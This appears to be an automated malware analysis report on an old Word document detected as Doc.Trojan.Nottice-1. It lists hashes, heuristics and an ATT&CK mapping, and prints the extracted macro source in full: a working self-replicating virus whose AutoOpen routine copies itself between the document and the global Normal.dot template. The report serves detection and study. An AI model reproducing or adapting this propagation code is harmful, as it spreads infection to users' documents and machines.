Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3fa1f013e3f69e1…

MALICIOUS

Office (OLE)

30.0 KB Created: 2000-04-25 06:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 41f86992514ad950271acddd1fe82fdf SHA-1: 485edafe49bc93a41cfc3b9622577877f3badd50 SHA-256: a3fa1f013e3f69e10b04644a60e807e53075d5d06f9904eb9fd234f4a1893913
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close, indicating a macro-based infection attempt. The macros are designed to copy themselves to the current document and global templates, suggesting a propagation mechanism. The presence of ClamAV detections further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Nottice-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nottice-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2139 bytes
SHA-256: 42a37d01373abc37743d4d5a70f65fbeca4d460e5a89acefd53ca5b715eeebb5
Detection
ClamAV: Doc.Trojan.Nottice-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim J$
On Error GoTo -1: On Error GoTo Finish
WordBasic.DisableAutoMacros 0
J$ = LCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If J$ = "normal.dot" Then
    If VI = 1 Then
        GoTo Finish
    Else
        InfectDOC
    End If
Else
    If VI2 = 1 Then
        GoTo Finish
    Else
        InfectGlobal
    End If
End If
Finish:





                   

                   
                   
                   
                   
                      
                      
                      
                      
                      
               End Sub

Private Function VI()
Dim i
VI = 0
If WordBasic.CountMacros > 0 Then
    For i = 1 To WordBasic.CountMacros(1)
                If WordBasic.[MacroName$](i, 1) = "WININIT" Then
                             VI = 1
        End If
    Next i
End If
End Function

Private Function VI2()
Dim i
VI2 = 0
If WordBasic.CountMacros(0) > 0 Then
    For i = 1 To WordBasic.CountMacros(0)
                If WordBasic.[MacroName$](i, 0) = "WININIT" Then
                             VI2 = 1
        End If
    Next i
End If
End Function

Private Sub InfectDOC()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Global:WININIT", WordBasic.[FileName$]() + ":WININIT"
WordBasic.FileSaveAll 1, 1
End Sub

Private Sub InfectGlobal()
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoClose"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":WININIT", "Global:WININIT"
WordBasic.FileSaveAll 1, 0
End Sub

Attribute VB_Name = "WININIT"

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